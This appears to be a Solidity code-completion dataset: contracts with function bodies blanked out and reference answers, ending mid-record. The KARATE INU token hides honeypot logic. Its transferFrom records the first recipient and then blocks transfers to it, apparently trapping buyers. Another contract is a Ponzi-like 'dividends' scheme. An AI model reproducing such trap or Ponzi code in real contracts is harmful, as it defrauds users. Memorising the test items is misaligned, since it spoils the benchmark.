accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { // investor get him dividends if (msg.value.isZero()) { getMyDividends(); return; } // sender do invest doInvest(msg.data.toAddress()); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { // init Rapid Growth Protection m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); // init Private Entrance m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function percent1() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_1_percent.num, m_1_percent.den); } function percent2() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_2_percent.num, m_2_percent.den); } function percent3() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_3_percent.num, m_3_percent.den); } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function refBonusPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = refBonusPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { // calculate dividends uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); // update investor payment timestamp assert(m_investors.setPaymentTime(msg.sender, now)); // check enough eth - goto next wave if needed if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } // transfer dividends to investor msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { // use Rapid Growth Protection if needed uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { // use Private Entrance if needed uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } // send excess of ether if needed if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } // commission advertisingAddress.send(m_advertisingPercent.mul(receivedEther)); adminsAddress.send(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); // ref system works only once and only on first invest if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; // add referral bonus to investor`s and referral`s investments uint refBonus = refBonusPercent().mmul(investment); assert(m_investors.addInvestment(referrerAddr, refBonus)); // add referrer bonus investment += refBonus; // add referral bonus emit LogNewReferral(msg.sender, referrerAddr, now, refBonus); } // automatic reinvest - prevent burning dividends uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { // update existing investor assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { // create new investor assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); // safe gas if dividends will be 0 if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } // for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval // if daily percent is X, then 10min percent = X / (24h / 10 min) = X / 144 // and we must to get numbers of 10 min interval after investor got payment: // (now - investor.paymentTime) / 10min // finaly calculate dividends = ((now - investor.paymentTime) / 10min) * (X * investor.investment) / 144) Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } <FILL_FUNCTION> function refBonusPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; // (1) 1% if 100 000 ETH < balance // (2) 2% if 10 000 ETH <= balance <= 100 000 ETH // (3) 3% if balance < 10 000 ETH if (balance < 10000 ether) { p = m_3_percent.toMemory(); // (3) } else if ( 10000 ether <= balance && balance <= 100000 ether) { p = m_2_percent.toMemory(); // (2) } else { p = m_1_percent.toMemory(); // (1) } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
uint balance = address(this).balance; // (3) 3% if balance < 1 000 ETH // (2) 2% if 1 000 ETH <= balance <= 30 000 ETH // (1) 1% if 30 000 ETH < balance if (balance < 1000 ether) { p = m_3_percent.toMemory(); // (3) } else if ( 1000 ether <= balance && balance <= 30000 ether) { p = m_2_percent.toMemory(); // (2) } else { p = m_1_percent.toMemory(); // (1) }
function dailyPercent() internal view returns(Percent.percent memory p)
function dailyPercent() internal view returns(Percent.percent memory p)
66203
TokenBEP20
approveAndCall
contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "KAINU"; name = "KARATE INU"; decimals = 9; _totalSupply = 1000000000 * 10**6 * 10**6; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {<FILL_FUNCTION_BODY> } function () external payable { revert(); } }
contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "KAINU"; name = "KARATE INU"; decimals = 9; _totalSupply = 1000000000 * 10**6 * 10**6; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function () external payable { revert(); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true;
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
18912
IDENetwork
IDENetwork
contract IDENetwork is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function IDENetwork() {<FILL_FUNCTION_BODY> } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract IDENetwork is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; <FILL_FUNCTION> function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 500000000000000000000000000; // Give the creator all initial tokens. This is set to 150000000000000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 1000000000000. (10000000000000) totalSupply = 500000000000000000000000000; // Update total supply (1500000000000 for example) (15000000000000) name = "IDENetwork"; // Set the name for display purposes (IDENetwork) decimals = 18; // Amount of decimals for display purposes (18) symbol = "IDEN"; // Set the symbol for display purposes (IDEN) unitsOneEthCanBuy = 1000000; // Set the price of your token for the ICO (900000000) fundsWallet = msg.sender; // The owner of the contract gets ETH
function IDENetwork()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function IDENetwork()
69910
DfFinanceCloseCompound
closeStrategy
contract DfFinanceCloseCompound is DSMath, ConstantAddresses, FundsMgr { using UniversalERC20 for IToken; struct Strategy { // first bytes32 (== uint256) slot uint80 deposit; // in eth – max more 1.2 mln eth uint80 entryEthPrice; // in usd – max more 1.2 mln USD for 1 eth uint8 profitPercent; // % – 0 to 255 uint8 fee; // % – 0 to 100 (ex. 30% = 30) uint80 ethForRedeem; // eth for repay loan – max more 1.2 mln eth // second bytes32 (== uint256) slot uint80 usdToWithdraw; // in usd address owner; // == uint160 } mapping(address => bool) public admins; mapping(address => bool) public strategyManagers; mapping(address => Strategy) public strategies; // dfWallet => Strategy ILoanPool public loanPool; // ** EVENTS ** event StrategyClosing(address indexed dfWallet, uint profit, address token); event StrategyClosed(address indexed dfWallet, uint profit, address token); event SetupStrategy( address indexed owner, address indexed dfWallet, uint deposit, uint priceEth, uint8 profitPercent, uint8 fee ); event SystemProfit(uint profit); // ** MODIFIERS ** modifier hasSetupStrategyPermission { require(strategyManagers[msg.sender], "Setup cup permission denied"); _; } modifier onlyOwnerOrAdmin { require(admins[msg.sender] || msg.sender == owner, "Permission denied"); _; } // ** CONSTRUCTOR ** constructor() public { loanPool = ILoanPool(0x9EdAe6aAb4B0f0f8146051ab353593209982d6B6); strategyManagers[address(0)] = true; // TODO: set DfFinanceOpenCompound } // ** PUBLIC VIEW function ** function getStrategy(address _dfWallet) public view returns( address strategyOwner, uint deposit, uint entryEthPrice, uint profitPercent, uint fee, uint ethForRedeem, uint usdToWithdraw) { strategyOwner = strategies[_dfWallet].owner; deposit = strategies[_dfWallet].deposit; entryEthPrice = strategies[_dfWallet].entryEthPrice; profitPercent = strategies[_dfWallet].profitPercent; fee = strategies[_dfWallet].fee; ethForRedeem = strategies[_dfWallet].ethForRedeem; usdToWithdraw = strategies[_dfWallet].usdToWithdraw; } function getCurPriceEth() public view returns(uint256) { // eth - usdc price call to Compound Oracle contract uint price = ICompoundOracle(COMPOUND_ORACLE).getUnderlyingPrice(USDC_ADDRESS) / 1e12; // get 1e18 price * 1e12 return wdiv(WAD, price); } // * SETUP_STRATAGY_PERMISSION function ** function setupStrategy( address _owner, address _dfWallet, uint256 _deposit, uint8 _profitPercent, uint8 _fee ) public hasSetupStrategyPermission { require(strategies[_dfWallet].deposit == 0, "Strategy already set"); uint priceEth = getCurPriceEth(); strategies[_dfWallet] = Strategy(uint80(_deposit), uint80(priceEth), _profitPercent, _fee, 0, 0, _owner); emit SetupStrategy(_owner, _dfWallet, priceEth, _deposit, _profitPercent, _fee); } // ** ONLY_OWNER_OR_ADMIN functions ** function collectUsdForStrategies( address[] memory _dfWallets, uint256 _amountUsdToRedeem, uint256 _amountUsdToBuy, uint256 _usdPrice, bool _useExchange, bytes memory _exData ) public onlyOwnerOrAdmin { // uint usdDecimals = IToken(USDC_ADDRESS).decimals(); == 1e6 uint totalCreditEth = wmul(_amountUsdToRedeem + _amountUsdToBuy, _usdPrice, 1e6) * 1e12; // Use 1inch exchange (eth to usdc swap) if (_useExchange) { loanPool.loan(totalCreditEth); // take an totalCredit eth loan _exchange(IToken(ETH_ADDRESS), totalCreditEth, IToken(USDC_ADDRESS), add(_amountUsdToRedeem, _amountUsdToBuy), _exData); } uint ethAfterClose = 0; // count all eth from strategies close // TODO: in internal function for(uint i = 0; i < _dfWallets.length; i++) { Strategy storage strategy = strategies[_dfWallets[i]]; require(strategy.ethForRedeem == 0 && strategy.deposit > 0, "Strategy is not exists or valid"); uint ethLocked = ICToken(CETH_ADDRESS).balanceOfUnderlying(_dfWallets[i]); uint ethForRedeem = wmul(ICToken(CUSDC_ADDRESS).borrowBalanceStored(_dfWallets[i]), _usdPrice, 1e6) * 1e12; if (_amountUsdToBuy > 0) { // in USD uint usdToWithdraw = _getUsdToWithdraw(_dfWallets[i], ethLocked, ethForRedeem, _usdPrice); strategy.usdToWithdraw = uint80(usdToWithdraw); ethAfterClose += ethLocked; emit StrategyClosing(_dfWallets[i], usdToWithdraw, address(USDC_ADDRESS)); } else { // in ETH uint profitEth = _getProfitEth(_dfWallets[i], ethLocked, ethForRedeem); ethAfterClose += ethForRedeem; emit StrategyClosing(_dfWallets[i], add(strategy.deposit, profitEth), address(0x0)); } strategy.ethForRedeem = uint80(ethForRedeem); } require(ethAfterClose >= totalCreditEth, "TotalCreditEth is not enough"); } // ** PUBLIC function ** function closeStrategy(address _dfWallet) public {<FILL_FUNCTION_BODY> } function closeStrategies(address[] memory _dfWallets) public { for (uint i = 0; i < _dfWallets.length; i++) { closeStrategy(_dfWallets[i]); } } // TODO: UPD this function logic // function manualClose(address _dfWallet) public { // require(strategies[_dfWallet].owner == msg.sender, "Permission denied"); // // require(strategies[_dfWallet].); // uint amount = ICToken(CUSDC_ADDRESS).borrowBalanceStored(_dfWallet); // IToken(USDC_ADDRESS).transferFrom(msg.sender, address(this), amount); // IToken(USDC_ADDRESS).approve(_dfWallet, amount); // IDfWallet(_dfWallet).withdraw(ETH_ADDRESS, CETH_ADDRESS, USDC_ADDRESS, CUSDC_ADDRESS); // } // ** ONLY_OWNER functions ** function setLoanPool(address _loanAddr) public onlyOwner { require(_loanAddr != address(0), "Address must not be zero"); loanPool = ILoanPool(_loanAddr); } function setAdminPermission(address _admin, bool _status) public onlyOwner { admins[_admin] = _status; } function setAdminPermission(address[] memory _admins, bool _status) public onlyOwner { for (uint i = 0; i < _admins.length; i++) { admins[_admins[i]] = _status; } } function setSetupStrategyPermission(address _manager, bool _status) public onlyOwner { strategyManagers[_manager] = _status; } function setSetupStrategyPermission(address[] memory _managers, bool _status) public onlyOwner { for (uint i = 0; i < _managers.length; i++) { strategyManagers[_managers[i]] = _status; } } // ** INTERNAL PUBLIC functions ** function _getProfitEth( address _dfWallet, uint256 _ethLocked, uint256 _ethForRedeem ) internal view returns(uint256 profitEth) { uint deposit = strategies[_dfWallet].deposit; // in eth uint fee = strategies[_dfWallet].fee; // in percent (from 0 to 100) uint profitPercent = strategies[_dfWallet].profitPercent; // in percent (from 0 to 255) // user additional profit in eth profitEth = sub(sub(_ethLocked, deposit), _ethForRedeem) * sub(100, fee) / 100; require(wdiv(profitEth, deposit) * 100 >= profitPercent * WAD, "Needs more profit in eth"); } function _getUsdToWithdraw( address _dfWallet, uint256 _ethLocked, uint256 _ethForRedeem, uint256 _usdPrice ) internal view returns(uint256 usdToWithdraw) { uint deposit = strategies[_dfWallet].deposit; // in eth uint fee = strategies[_dfWallet].fee; // in percent (from 0 to 100) uint profitPercent = strategies[_dfWallet].profitPercent; // in percent (from 0 to 255) uint ethPrice = strategies[_dfWallet].entryEthPrice; // user additional profit in eth uint profitEth = sub(sub(_ethLocked, deposit), _ethForRedeem) * sub(100, fee) / 100; usdToWithdraw = wdiv(add(deposit, profitEth), _usdPrice * 1e12) / 1e12; uint usdOriginal = wmul(deposit, ethPrice) / 1e12; require(usdOriginal > 0, "Incorrect entry usd amount"); require(wdiv(sub(usdToWithdraw, usdOriginal), usdOriginal) * 100 >= profitPercent * WAD, "Needs more profit in usd"); } // ** INTERNAL functions ** function _transferEth(address receiver, uint256 amount) internal { address payable receiverPayable = address(uint160(receiver)); (bool result, ) = receiverPayable.call.value(amount)(""); require(result, "Transfer of ETH failed"); } function _exchange( IToken _fromToken, uint _maxFromTokenAmount, IToken _toToken, uint _minToTokenAmount, bytes memory _data ) internal returns(uint) { IOneInchExchange ex = IOneInchExchange(0x11111254369792b2Ca5d084aB5eEA397cA8fa48B); // Approve tokens for 1inch uint256 ethAmount = 0; if (address(_fromToken) != ETH_ADDRESS) { if (_fromToken.allowance(address(this), ex.spender()) != uint(-1)) { _fromToken.approve(ex.spender(), uint(-1)); } } else { ethAmount = _maxFromTokenAmount; } uint fromTokenBalance = _fromToken.universalBalanceOf(address(this)); uint toTokenBalance = _toToken.universalBalanceOf(address(this)); bytes32 response; assembly { // call(g, a, v, in, insize, out, outsize) let succeeded := call(sub(gas, 5000), ex, ethAmount, add(_data, 0x20), mload(_data), 0, 32) response := mload(0) // load delegatecall output //switch iszero(succeeded) //case 1 { // // throw if call failed // revert(0, 0) //} } require(_fromToken.universalBalanceOf(address(this)) + _maxFromTokenAmount >= fromTokenBalance, "Exchange error"); uint newBalanceToToken = _toToken.universalBalanceOf(address(this)); require(newBalanceToToken >= toTokenBalance + _minToTokenAmount, "Exchange error"); return sub(newBalanceToToken, toTokenBalance); // how many tokens received } function _clearStrategy(address _dfWallet) internal { strategies[_dfWallet] = Strategy(0, 0, 0, 0, 0, 0, address(0)); } // ** FALLBACK functions ** function() external payable {} }
contract DfFinanceCloseCompound is DSMath, ConstantAddresses, FundsMgr { using UniversalERC20 for IToken; struct Strategy { // first bytes32 (== uint256) slot uint80 deposit; // in eth – max more 1.2 mln eth uint80 entryEthPrice; // in usd – max more 1.2 mln USD for 1 eth uint8 profitPercent; // % – 0 to 255 uint8 fee; // % – 0 to 100 (ex. 30% = 30) uint80 ethForRedeem; // eth for repay loan – max more 1.2 mln eth // second bytes32 (== uint256) slot uint80 usdToWithdraw; // in usd address owner; // == uint160 } mapping(address => bool) public admins; mapping(address => bool) public strategyManagers; mapping(address => Strategy) public strategies; // dfWallet => Strategy ILoanPool public loanPool; // ** EVENTS ** event StrategyClosing(address indexed dfWallet, uint profit, address token); event StrategyClosed(address indexed dfWallet, uint profit, address token); event SetupStrategy( address indexed owner, address indexed dfWallet, uint deposit, uint priceEth, uint8 profitPercent, uint8 fee ); event SystemProfit(uint profit); // ** MODIFIERS ** modifier hasSetupStrategyPermission { require(strategyManagers[msg.sender], "Setup cup permission denied"); _; } modifier onlyOwnerOrAdmin { require(admins[msg.sender] || msg.sender == owner, "Permission denied"); _; } // ** CONSTRUCTOR ** constructor() public { loanPool = ILoanPool(0x9EdAe6aAb4B0f0f8146051ab353593209982d6B6); strategyManagers[address(0)] = true; // TODO: set DfFinanceOpenCompound } // ** PUBLIC VIEW function ** function getStrategy(address _dfWallet) public view returns( address strategyOwner, uint deposit, uint entryEthPrice, uint profitPercent, uint fee, uint ethForRedeem, uint usdToWithdraw) { strategyOwner = strategies[_dfWallet].owner; deposit = strategies[_dfWallet].deposit; entryEthPrice = strategies[_dfWallet].entryEthPrice; profitPercent = strategies[_dfWallet].profitPercent; fee = strategies[_dfWallet].fee; ethForRedeem = strategies[_dfWallet].ethForRedeem; usdToWithdraw = strategies[_dfWallet].usdToWithdraw; } function getCurPriceEth() public view returns(uint256) { // eth - usdc price call to Compound Oracle contract uint price = ICompoundOracle(COMPOUND_ORACLE).getUnderlyingPrice(USDC_ADDRESS) / 1e12; // get 1e18 price * 1e12 return wdiv(WAD, price); } // * SETUP_STRATAGY_PERMISSION function ** function setupStrategy( address _owner, address _dfWallet, uint256 _deposit, uint8 _profitPercent, uint8 _fee ) public hasSetupStrategyPermission { require(strategies[_dfWallet].deposit == 0, "Strategy already set"); uint priceEth = getCurPriceEth(); strategies[_dfWallet] = Strategy(uint80(_deposit), uint80(priceEth), _profitPercent, _fee, 0, 0, _owner); emit SetupStrategy(_owner, _dfWallet, priceEth, _deposit, _profitPercent, _fee); } // ** ONLY_OWNER_OR_ADMIN functions ** function collectUsdForStrategies( address[] memory _dfWallets, uint256 _amountUsdToRedeem, uint256 _amountUsdToBuy, uint256 _usdPrice, bool _useExchange, bytes memory _exData ) public onlyOwnerOrAdmin { // uint usdDecimals = IToken(USDC_ADDRESS).decimals(); == 1e6 uint totalCreditEth = wmul(_amountUsdToRedeem + _amountUsdToBuy, _usdPrice, 1e6) * 1e12; // Use 1inch exchange (eth to usdc swap) if (_useExchange) { loanPool.loan(totalCreditEth); // take an totalCredit eth loan _exchange(IToken(ETH_ADDRESS), totalCreditEth, IToken(USDC_ADDRESS), add(_amountUsdToRedeem, _amountUsdToBuy), _exData); } uint ethAfterClose = 0; // count all eth from strategies close // TODO: in internal function for(uint i = 0; i < _dfWallets.length; i++) { Strategy storage strategy = strategies[_dfWallets[i]]; require(strategy.ethForRedeem == 0 && strategy.deposit > 0, "Strategy is not exists or valid"); uint ethLocked = ICToken(CETH_ADDRESS).balanceOfUnderlying(_dfWallets[i]); uint ethForRedeem = wmul(ICToken(CUSDC_ADDRESS).borrowBalanceStored(_dfWallets[i]), _usdPrice, 1e6) * 1e12; if (_amountUsdToBuy > 0) { // in USD uint usdToWithdraw = _getUsdToWithdraw(_dfWallets[i], ethLocked, ethForRedeem, _usdPrice); strategy.usdToWithdraw = uint80(usdToWithdraw); ethAfterClose += ethLocked; emit StrategyClosing(_dfWallets[i], usdToWithdraw, address(USDC_ADDRESS)); } else { // in ETH uint profitEth = _getProfitEth(_dfWallets[i], ethLocked, ethForRedeem); ethAfterClose += ethForRedeem; emit StrategyClosing(_dfWallets[i], add(strategy.deposit, profitEth), address(0x0)); } strategy.ethForRedeem = uint80(ethForRedeem); } require(ethAfterClose >= totalCreditEth, "TotalCreditEth is not enough"); } <FILL_FUNCTION> function closeStrategies(address[] memory _dfWallets) public { for (uint i = 0; i < _dfWallets.length; i++) { closeStrategy(_dfWallets[i]); } } // TODO: UPD this function logic // function manualClose(address _dfWallet) public { // require(strategies[_dfWallet].owner == msg.sender, "Permission denied"); // // require(strategies[_dfWallet].); // uint amount = ICToken(CUSDC_ADDRESS).borrowBalanceStored(_dfWallet); // IToken(USDC_ADDRESS).transferFrom(msg.sender, address(this), amount); // IToken(USDC_ADDRESS).approve(_dfWallet, amount); // IDfWallet(_dfWallet).withdraw(ETH_ADDRESS, CETH_ADDRESS, USDC_ADDRESS, CUSDC_ADDRESS); // } // ** ONLY_OWNER functions ** function setLoanPool(address _loanAddr) public onlyOwner { require(_loanAddr != address(0), "Address must not be zero"); loanPool = ILoanPool(_loanAddr); } function setAdminPermission(address _admin, bool _status) public onlyOwner { admins[_admin] = _status; } function setAdminPermission(address[] memory _admins, bool _status) public onlyOwner { for (uint i = 0; i < _admins.length; i++) { admins[_admins[i]] = _status; } } function setSetupStrategyPermission(address _manager, bool _status) public onlyOwner { strategyManagers[_manager] = _status; } function setSetupStrategyPermission(address[] memory _managers, bool _status) public onlyOwner { for (uint i = 0; i < _managers.length; i++) { strategyManagers[_managers[i]] = _status; } } // ** INTERNAL PUBLIC functions ** function _getProfitEth( address _dfWallet, uint256 _ethLocked, uint256 _ethForRedeem ) internal view returns(uint256 profitEth) { uint deposit = strategies[_dfWallet].deposit; // in eth uint fee = strategies[_dfWallet].fee; // in percent (from 0 to 100) uint profitPercent = strategies[_dfWallet].profitPercent; // in percent (from 0 to 255) // user additional profit in eth profitEth = sub(sub(_ethLocked, deposit), _ethForRedeem) * sub(100, fee) / 100; require(wdiv(profitEth, deposit) * 100 >= profitPercent * WAD, "Needs more profit in eth"); } function _getUsdToWithdraw( address _dfWallet, uint256 _ethLocked, uint256 _ethForRedeem, uint256 _usdPrice ) internal view returns(uint256 usdToWithdraw) { uint deposit = strategies[_dfWallet].deposit; // in eth uint fee = strategies[_dfWallet].fee; // in percent (from 0 to 100) uint profitPercent = strategies[_dfWallet].profitPercent; // in percent (from 0 to 255) uint ethPrice = strategies[_dfWallet].entryEthPrice; // user additional profit in eth uint profitEth = sub(sub(_ethLocked, deposit), _ethForRedeem) * sub(100, fee) / 100; usdToWithdraw = wdiv(add(deposit, profitEth), _usdPrice * 1e12) / 1e12; uint usdOriginal = wmul(deposit, ethPrice) / 1e12; require(usdOriginal > 0, "Incorrect entry usd amount"); require(wdiv(sub(usdToWithdraw, usdOriginal), usdOriginal) * 100 >= profitPercent * WAD, "Needs more profit in usd"); } // ** INTERNAL functions ** function _transferEth(address receiver, uint256 amount) internal { address payable receiverPayable = address(uint160(receiver)); (bool result, ) = receiverPayable.call.value(amount)(""); require(result, "Transfer of ETH failed"); } function _exchange( IToken _fromToken, uint 